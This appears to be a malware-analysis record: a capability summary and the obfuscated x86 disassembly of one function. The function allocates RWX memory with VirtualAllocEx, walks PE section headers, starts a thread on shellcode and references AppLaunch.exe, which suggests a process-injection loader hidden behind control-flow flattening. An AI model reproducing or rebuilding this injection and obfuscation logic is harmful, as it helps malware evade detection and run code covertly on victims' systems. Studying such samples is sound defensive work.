Function at 0x40e730
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov eax, 0xad008
call fcn.0041d310
mov eax, dword [ebp + 8]
mov dword [ebp - 0xad008], eax
mov eax, dword [0x4e0080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0xad000], 0x112e1ec7
mov eax, dword [ebp - 0xad000]
mov dword [ebp - 0xad00c], eax
sub eax, 0x8035c8cc
je 0x412077
jmp 0x40e778
mov eax, dword [ebp - 0xad00c]
sub eax, 0x81ceda1a
je 0x410e7c
jmp 0x40e78e
mov eax, dword [ebp - 0xad00c]
sub eax, 0x82c28758
je 0x4131a4
jmp 0x40e7a4
mov eax, dword [ebp - 0xad00c]
sub eax, 0x8408435b
je 0x411e11
jmp 0x40e7ba
mov eax, dword [ebp - 0xad00c]
sub eax, 0x8456fe72
je 0x411aec
jmp 0x40e7d0
mov eax, dword [ebp - 0xad00c]
sub eax, 0x85e4155c
je 0x4136ca
jmp 0x40e7e6
mov eax, dword [ebp - 0xad00c]
sub eax, 0x8616a2d3
je 0x412598
jmp 0x40e7fc
mov eax, dword [ebp - 0xad00c]
sub eax, 0x8718b2b6
je 0x4128e6
jmp 0x40e812
mov eax, dword [ebp - 0xad00c]
sub eax, 0x89267679
je 0x412e52
jmp 0x40e828
mov eax, dword [ebp - 0xad00c]
sub eax, 0x8994c0ea
je 0x410a79
jmp 0x40e83e
mov eax, dword [ebp - 0xad00c]
sub eax, 0x8ab026ee
je 0x4131d7
jmp 0x40e854
mov eax, dword [ebp - 0xad00c]
sub eax, 0x8b43a00f
je 0x411258
jmp 0x40e86a
mov eax, dword [ebp - 0xad00c]
sub eax, 0x8e77ba5f
je 0x411020
jmp 0x40e880
mov eax, dword [ebp - 0xad00c]
sub eax, 0x923ff372
je 0x411e2c
jmp 0x40e896
mov eax, dword [ebp - 0xad00c]
sub eax, 0x928ed514
je 0x4121ed
jmp 0x40e8ac
mov eax, dword [ebp - 0xad00c]
sub eax, 0x9445ffd4
je 0x411b4b
jmp 0x40e8c2
mov eax, dword [ebp - 0xad00c]
sub eax, 0x96c4b546
je 0x411d5a
jmp 0x40e8d8
mov eax, dword [ebp - 0xad00c]
sub eax, 0x98b1c0c3
je 0x411f87
jmp 0x40e8ee
mov eax, dword [ebp - 0xad00c]
sub eax, 0x9b39bcd2
je 0x411c10
jmp 0x40e904
mov eax, dword [ebp - 0xad00c]
sub eax, 0x9c0fa9ae
je 0x4135a4
jmp 0x40e91a
mov eax, dword [ebp - 0xad00c]
sub eax, 0x9ddddc92
je 0x412305
jmp 0x40e930
mov eax, dword [ebp - 0xad00c]
sub eax, 0xa0ee16a7
je 0x412fb3
jmp 0x40e946
mov eax, dword [ebp - 0xad00c]
sub eax, 0xa24671fe
je 0x411646
jmp 0x40e95c
mov eax, dword [ebp - 0xad00c]
sub eax, 0xa6d32382
je 0x4137c4
jmp 0x40e972
mov eax, dword [ebp - 0xad00c]
sub eax, 0xa71b6e4b
je 0x4126ff
jmp 0x40e988
mov eax, dword [ebp - 0xad00c]
sub eax, 0xa7418d2c
je 0x410a31
jmp 0x40e99e
mov eax, dword [ebp - 0xad00c]
sub eax, 0xa98fcd01
je 0x410958
jmp 0x40e9b4
mov eax, dword [ebp - 0xad00c]
sub eax, 0xac4babfc
je 0x4126f0
jmp 0x40e9ca
mov eax, dword [ebp - 0xad00c]
sub eax, 0xae6ab5e4
je 0x4132b6
jmp 0x40e9e0
mov eax, dword [ebp - 0xad00c]
sub eax, 0xaebaa2a3
je 0x412f08
jmp 0x40e9f6
mov eax, dword [ebp - 0xad00c]
sub eax, 0xaf1af119
je 0x41254f
jmp 0x40ea0c
mov eax, dword [ebp - 0xad00c]
sub eax, 0xb0f726aa
je 0x4114f6
jmp 0x40ea22
mov eax, dword [ebp - 0xad00c]
sub eax, 0xb18f3897
je 0x410c5a
jmp 0x40ea38
mov eax, dword [ebp - 0xad00c]
sub eax, 0xb1fb1b64
je 0x40ff9a
jmp 0x40ea4e
mov eax, dword [ebp - 0xad00c]
sub eax, 0xb28921bc
je 0x4128d7
jmp 0x40ea64
mov eax, dword [ebp - 0xad00c]
sub eax, 0xb4a4e195
je 0x4102a2
jmp 0x40ea7a
mov eax, dword [ebp - 0xad00c]
sub eax, 0xb4d01ca4
je 0x412386
jmp 0x40ea90
mov eax, dword [ebp - 0xad00c]
sub eax, 0xb6771c3a
je 0x411491
jmp 0x40eaa6
mov eax, dword [ebp - 0xad00c]
sub eax, 0xb6971915
je 0x411e3b
jmp 0x40eabc
mov eax, dword [ebp - 0xad00c]
sub eax, 0xb7027899
je 0x4100a7
jmp 0x40ead2
mov eax, dword [ebp - 0xad00c]
sub eax, 0xb753cfe4
je 0x4131b3
jmp 0x40eae8
mov eax, dword [ebp - 0xad00c]
sub eax, 0xb8e81320
je 0x412913
jmp 0x40eafe
mov eax, dword [ebp - 0xad00c]
sub eax, 0xb94f1315
je 0x4122d9
jmp 0x40eb14
mov eax, dword [ebp - 0xad00c]
sub eax, 0xbb391880
je 0x4109c4
jmp 0x40eb2a
mov eax, dword [ebp - 0xad00c]
sub eax, 0xbb7552cb
je 0x412f38
jmp 0x40eb40
mov eax, dword [ebp - 0xad00c]
sub eax, 0xbd77e906
je 0x4123fb
jmp 0x40eb56
mov eax, dword [ebp - 0xad00c]
sub eax, 0xbe4daae1
je 0x410fba
jmp 0x40eb6c
mov eax, dword [ebp - 0xad00c]
sub eax, 0xbf989284
je 0x411fd7
jmp 0x40eb82
mov eax, dword [ebp - 0xad00c]
sub eax, 0xc016116d
je 0x4120f4
jmp 0x40eb98
mov eax, dword [ebp - 0xad00c]
sub eax, 0xc0b4da10
je 0x40ffbb
jmp 0x40ebae
mov eax, dword [ebp - 0xad00c]
sub eax, 0xc0c9017b
je 0x413786
jmp 0x40ebc4
mov eax, dword [ebp - 0xad00c]
sub eax, 0xc0dc3b33
je 0x410d15
jmp 0x40ebda
mov eax, dword [ebp - 0xad00c]
sub eax, 0xc1014812
je 0x411bb9
jmp 0x40ebf0
mov eax, dword [ebp - 0xad00c]
sub eax, 0xc23a3e3d
je 0x4128f5
jmp 0x40ec06
mov eax, dword [ebp - 0xad00c]
sub eax, 0xc2a360de
je 0x41282a
jmp 0x40ec1c
mov eax, dword [ebp - 0xad00c]
sub eax, 0xc3c99f26
je 0x410973
jmp 0x40ec32
mov eax, dword [ebp - 0xad00c]
sub eax, 0xc47d1d17
je 0x4132fe
jmp 0x40ec48
mov eax, dword [ebp - 0xad00c]
sub eax, 0xc6eb1df7
je 0x41093d
jmp 0x40ec5e
mov eax, dword [ebp - 0xad00c]
sub eax, 0xc8e1970a
je 0x413292
jmp 0x40ec74
mov eax, dword [ebp - 0xad00c]
sub eax, 0xcaf13eb9
je 0x413583
jmp 0x40ec8a
mov eax, dword [ebp - 0xad00c]
sub eax, 0xcd0e5dfd
je 0x410b6b
jmp 0x40eca0
mov eax, dword [ebp - 0xad00c]
sub eax, 0xce38e803
je 0x410bd4
jmp 0x40ecb6
mov eax, dword [ebp - 0xad00c]
sub eax, 0xcffcb680
je 0x410f90
jmp 0x40eccc
mov eax, dword [ebp - 0xad00c]
sub eax, 0xd005c767
je 0x41077a
jmp 0x40ece2
mov eax, dword [ebp - 0xad00c]
sub eax, 0xd0c117eb
je 0x411e93
mov edx, dword [ebp - 0xacf6c]
mov eax, 0x7c126ea7
mov ecx, 0xc0b4da10
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov dword [ebp - 0xad000], 0x3619da07
mov dword [ebp - 0xad004], 0
jmp 0x41384d
mov dword [ebp - 0xad000], 0xdbc2d6e6
jmp 0x41384d
mov dword [ebp - 0xad000], 0xfb3cd3df
jmp 0x41384d
mov eax, dword [ebp - 0xacfe8]
mov ecx, dword [ebp - 0xacff0]
imul edx, dword [ebp - 0xacff4], 0x28
add ecx, edx
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0xacf44], eax
mov eax, dword [ebp - 0xacfdc]
mov ecx, dword [ebp - 0xacff0]
imul edx, dword [ebp - 0xacff4], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0xacf40], eax
mov eax, dword [ebp - 0xacff0]
imul ecx, dword [ebp - 0xacff4], 0x28
add eax, ecx
add eax, 0x10
mov dword [ebp - 0xacf3c], eax
mov eax, dword [0x4e1554]
mov ecx, dword [0x4e1550]
mov edx, eax
sub edx, 0xf66c8fec
sub edx, 1
add edx, 0xf66c8fec
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xae6ab5e4
mov ecx, 0x44440b04
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov eax, dword [ebp - 0xacf38]
mov dword [ebp - 0xacff4], eax
mov dword [ebp - 0xad000], 0x7055bd46
jmp 0x41384d
mov eax, dword [ebp - 0xacfe8]
mov dword [ebp - 0xacf34], eax
mov dword [ebp - 0xad000], 0xc3c99f26
jmp 0x41384d
mov eax, dword [0x4e1554]
mov ecx, dword [0x4e1550]
mov edx, eax
add edx, 0x244e7ac3
sub edx, 1
sub edx, 0x244e7ac3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc47d1d17
mov ecx, 0xbb391880
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov eax, dword [ebp - 0xacfe4]
mov ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0xacf34]
cmp eax, ecx
setne al
and al, 1
mov byte [ebp - 0xacf2d], al
mov eax, dword [0x4e1554]
mov ecx, dword [0x4e1550]
mov edx, eax
sub edx, 0x7841ce2e
sub edx, 1
add edx, 0x7841ce2e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc47d1d17
mov ecx, 0xa7418d2c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov dl, byte [ebp - 0xacf2d]
mov eax, 0xfc09e8c7
mov ecx, 0x6c562351
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov eax, dword [ebp - 0xacf28]
mov ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0xacf2c]
sub eax, 0x130cc27d
sub eax, ecx
add eax, 0x130cc27d
mov dword [ebp - 0xacff8], eax
mov eax, dword [ebp - 0xacfe8]
mov ecx, dword [ebp - 0xace68]
sub eax, 0x762e0383
add eax, ecx
add eax, 0x762e0383
mov dword [ebp - 0xacffc], eax
mov eax, dword [ebp - 0xacfd4]
mov dword [eax], 0
mov dword [ebp - 0xad000], 0xe51cb809
jmp 0x41384d
mov eax, dword [ebp - 0xacfe8]
mov dword [ebp - 0xacf1c], eax
mov eax, dword [ebp - 0xacffc]
mov dword [ebp - 0xacf18], eax
mov eax, dword [0x4e1554]
mov ecx, dword [0x4e1550]
mov edx, eax
add edx, 0xf405857c
sub edx, 1
sub edx, 0xf405857c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe00cca2d
mov ecx, 0xce38e803
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov dword [ebp - 0xad000], 0xe0b88cf9
jmp 0x41384d
mov eax, dword [ebp - 0xacfc4]
mov eax, dword [eax]
mov dword [ebp - 0xacf14], eax
mov dword [ebp - 0xad000], 0x10b00064
jmp 0x41384d
mov eax, dword [ebp - 0xacfc8]
mov eax, dword [eax]
movzx eax, word [eax]
sar eax, 0xc
mov dword [ebp - 0xacf10], eax
mov eax, dword [0x4e1554]
mov ecx, dword [0x4e1550]
mov edx, eax
add edx, 0x75c570f6
sub edx, 1
sub edx, 0x75c570f6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x23c27127
mov ecx, 0x4feef71c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov ax, word [ebp - 0xacf02]
movzx edx, ax
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xfff
mov eax, 0xffffffff
xor eax, 0x49934923
or edx, ecx
or eax, 0x49934923
xor edx, 0xffffffff
and edx, eax
mov eax, dword [ebp - 0xacf08]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [eax]
mov esi, dword [ebp - 0xacf0c]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov dword [eax], ecx
mov ecx, dword [0x4e1554]
mov eax, dword [0x4e1550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x29ea677d
mov ecx, 0xd128a7d7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov eax, dword [ebp - 0xacfc4]
mov eax, dword [eax]
add eax, 0x716fec49
add eax, 1
sub eax, 0x716fec49
mov dword [ebp - 0xacefc], eax
mov dword [ebp - 0xad000], 0xbe4daae1
jmp 0x41384d
mov eax, dword [ebp - 0xacfc4]
mov ecx, dword [ebp - 0xacefc]
mov dword [eax], ecx
mov dword [ebp - 0xad000], 0xb18f3897
jmp 0x41384d
mov eax, dword [ebp - 0xacffc]
add eax, 4
mov dword [ebp - 0xacef8], eax
mov eax, dword [0x4e1554]
mov ecx, dword [0x4e1550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfbb6598
mov ecx, 0xefeb14b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov dword [ebp - 0xad000], 0xfc09e8c7
jmp 0x41384d
mov eax, dword [ebp - 0xacfc0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xacfbc]
imul ecx, dword [ecx], 0x14
add eax, ecx
mov dword [ebp - 0xaceec], eax
mov dword [ebp - 0xad000], 0x2aa38a8f
jmp 0x41384d
mov ecx, dword [0x4e1554]
mov eax, dword [0x4e1550]
mov edx, ecx
sub edx, 0xc09a7a3c
sub edx, 1
add edx, 0xc09a7a3c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6179bfa8
mov ecx, 0x142b074
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov dl, byte [ebp - 0xacee1]
mov eax, 0x37a86fcb
mov ecx, 0x155886b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov dword [ebp - 0xad000], 0x6b69d196
jmp 0x41384d
mov ecx, dword [0x4e1554]
mov eax, dword [0x4e1550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf8215f51
mov ecx, 0xc1014812
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov eax, dword [ebp - 0xacfac]
mov eax, dword [eax]
mov dword [ebp - 0xacec8], eax
mov eax, dword [0x4e1554]
mov ecx, dword [0x4e1550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf8215f51
mov ecx, 0x9b39bcd2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov dword [ebp - 0xad000], 0x33827858
jmp 0x41384d
mov eax, dword [ebp - 0xacfbc]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0xacec4], eax
mov ecx, dword [0x4e1554]
mov eax, dword [0x4e1550]
mov edx, ecx
sub edx, 0x30dbaece
sub edx, 1
add edx, 0x30dbaece
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5e343510
mov ecx, 0x255561cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov eax, dword [ebp - 0xacf9c]
mov dword [eax], 0
mov dword [ebp - 0xad000], 0x923ff372
jmp 0x41384d
mov dword [ebp - 0xad000], 0xb6971915
jmp 0x41384d
mov eax, dword [ebp - 0xacf9c]
mov eax, dword [eax]
mov dword [ebp - 0xacec0], eax
mov eax, dword [ebp - 0xacfe4]
add eax, 4
add eax, 2
mov dword [ebp - 0xacebc], eax
mov dword [ebp - 0xad000], 0x1d656bb5
jmp 0x41384d
mov eax, dword [ebp - 0xaceb8]
mov ecx, dword [ebp - 0xaceb4]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0xacf94]
mov dword [eax], ecx
mov eax, dword [ebp - 0xacf94]
mov eax, dword [eax]
mov ecx, 0xffffffff
xor ecx, 0x40000000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0xef7c705
mov ecx, 0xbf989284
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov eax, dword [ebp - 0xacf94]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x80000000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xacead], al
mov dword [ebp - 0xad000], 0x6d305241
jmp 0x41384d
mov eax, dword [ebp - 0xacf94]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x20000000
mov ecx, 0xffffffff
xor ecx, 0xdf2df38b
or eax, edx
or ecx, 0xdf2df38b
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0xaceac], eax
mov eax, dword [0x4e1554]
mov ecx, dword [0x4e1550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9c0fa9ae
mov ecx, 0xc016116d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov dword [ebp - 0xad000], 0xe4266b8c
jmp 0x41384d
mov ecx, dword [0x4e1554]
mov eax, dword [0x4e1550]
mov edx, ecx
sub edx, 0xe8f31161
sub edx, 1
add edx, 0xe8f31161
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa0ae58
mov ecx, 0x72f395cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov dword [ebp - 0xad000], 0xb8e81320
jmp 0x41384d
mov eax, dword [ebp - 0xacea4]
mov ecx, 0xffffffff
xor ecx, 0x40000000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0x1efbda28
mov ecx, 0x5df7d21a
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov eax, dword [ebp - 0xacf98]
mov dword [eax], 4
mov dword [ebp - 0xad000], 0x6fe5794c
jmp 0x41384d
mov ecx, dword [0x4e1554]
mov eax, dword [0x4e1550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x59607fd6
mov ecx, 0x2335ec8b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov eax, dword [0x4e1554]
mov ecx, dword [0x4e1550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfa9fe459
mov ecx, 0x8616a2d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov eax, dword [ebp - 0xacf98]
mov dword [eax], 0x20
mov ecx, dword [0x4e1554]
mov eax, dword [0x4e1550]
mov edx, ecx
add edx, 0x705744bb
sub edx, 1
sub edx, 0x705744bb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfa9fe459
mov ecx, 0x14ed3ef1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov dword [ebp - 0xad000], 0xc23a3e3d
jmp 0x41384d
mov eax, dword [ebp - 0xacf94]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x40000000
mov ecx, 0xffffffff
xor ecx, 0x4b5dff88
or eax, edx
or ecx, 0x4b5dff88
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xace91], al
mov dword [ebp - 0xad000], 0xf3f680c6
jmp 0x41384d
mov eax, dword [0x4e1554]
mov ecx, dword [0x4e1550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2034be21
mov ecx, 0x55eb301b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov dword [ebp - 0xad000], 0x8718b2b6
jmp 0x41384d
mov dword [ebp - 0xad000], 0xc23a3e3d
jmp 0x41384d
mov dword [ebp - 0xad000], 0x4917a35e
jmp 0x41384d
mov eax, dword [ebp - 0xacf98]
mov eax, dword [eax]
mov dword [ebp - 0xace90], eax
mov eax, dword [ebp - 0xacff0]
mov ecx, dword [ebp - 0xacf9c]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 8]
mov dword [ebp - 0xace8c], eax
mov eax, dword [ebp - 0xacfe8]
mov ecx, dword [ebp - 0xacff0]
mov edx, dword [ebp - 0xacf9c]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0xc]
add eax, 0x38b0ae1e
add eax, ecx
sub eax, 0x38b0ae1e
mov dword [ebp - 0xace88], eax
mov dword [ebp - 0xad000], 0xb7f094d
jmp 0x41384d
mov eax, dword [ebp - 0xacfe8]
mov ecx, dword [ebp - 0xacfe4]
mov edx, dword [ecx + 0x28]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
xor ecx, ecx
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, eax
mov eax, dword [ebp - 0xacf74]
mov dword [eax], ecx
mov eax, dword [ebp - 0xacf7c]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0xace6d], al
mov eax, dword [0x4e1554]
mov ecx, dword [0x4e1550]
mov edx, eax
sub edx, 0xf1024403
sub edx, 1
add edx, 0xf1024403
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa6d32382
mov ecx, 0xaebaa2a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xad000], eax
jmp 0x41384d
mov dword [ebp - 0xad000], 0x233be600
jmp 0x41384d
sub esp, 4
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xacf84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xacf78]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [ebp - 0xad000], 0xe13337ba
jmp 0x41384d
mov dword [ebp - 0xad000], 0x38a608c0
jmp 0x41384d
mov dword [ebp - 0xad000], 0x470c3942
jmp 0x41384d
mov eax, dword [ebp - 0xacf68]
mov dword [ebp - 0xad000], 0xf85f6ca7
jmp 0x41384d
mov eax, dword [ebp - 0xacf54]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xacf58]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xacfec], eax
mov dword [ebp - 0xad000], 0x5e2ed87
jmp 0x41384d
mov dword [ebp - 0xad000], 0x72b920b3
jmp 0x41384d
mov dword [ebp - 0xad000], 0xd005c767
jmp 0x41384d
mov eax, dword [ebp - 0xacf34]
mov dword [ebp - 0xad000], 0xbb391880
jmp 0x41384d
mov eax, dword [ebp - 0xacf98]
mov dword [eax], 0x40
mov eax, dword [ebp - 0xacf9c]
mov dword [ebp - 0xad000], 0xe8e46e5a
jmp 0x41384d
mov eax, dword [ebp - 0xacf94]
mov dword [ebp - 0xad000], 0x8035c8cc
jmp 0x41384d
mov eax, dword [ebp - 0xace7c]
mov eax, dword [ebp - 0xace7c]
mov eax, dword [ebp - 0xace7c]
mov eax, dword [ebp - 0xace7c]
mov eax, dword [ebp - 0xace7c]
mov eax, dword [ebp - 0xace7c]
mov eax, dword [ebp - 0xace7c]
mov eax, dword [ebp - 0xace7c]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x18
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [ebp - 0xace80]
mov dword [eax], ecx
mov eax, dword [ebp - 0xacf88]
mov ecx, dword [eax]
add ecx, 0xfc481dea
add ecx, 0x24
sub ecx, 0xfc481dea
mov eax, dword [ebp - 0xacf84]
mov dword [eax], ecx
mov ecx, dword [ebp - 0xacf80]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x78
call fcn.0041e170
add esp, 0xc
mov eax, dword [ebp - 0xacfe4]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xacf7c]
mov byte [eax], cl
mov eax, dword [ebp - 0xacf7c]
mov dword [ebp - 0xad000], 0x5bb9eefa
jmp 0x41384d
mov eax, dword [ebp - 0xacf84]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xacf78]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0xacf80]
mov eax, dword [ebp - 0xacf84]
mov eax, dword [eax]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0xacf80]
mov dword [ebp - 0xad000], 0x5cc2b077
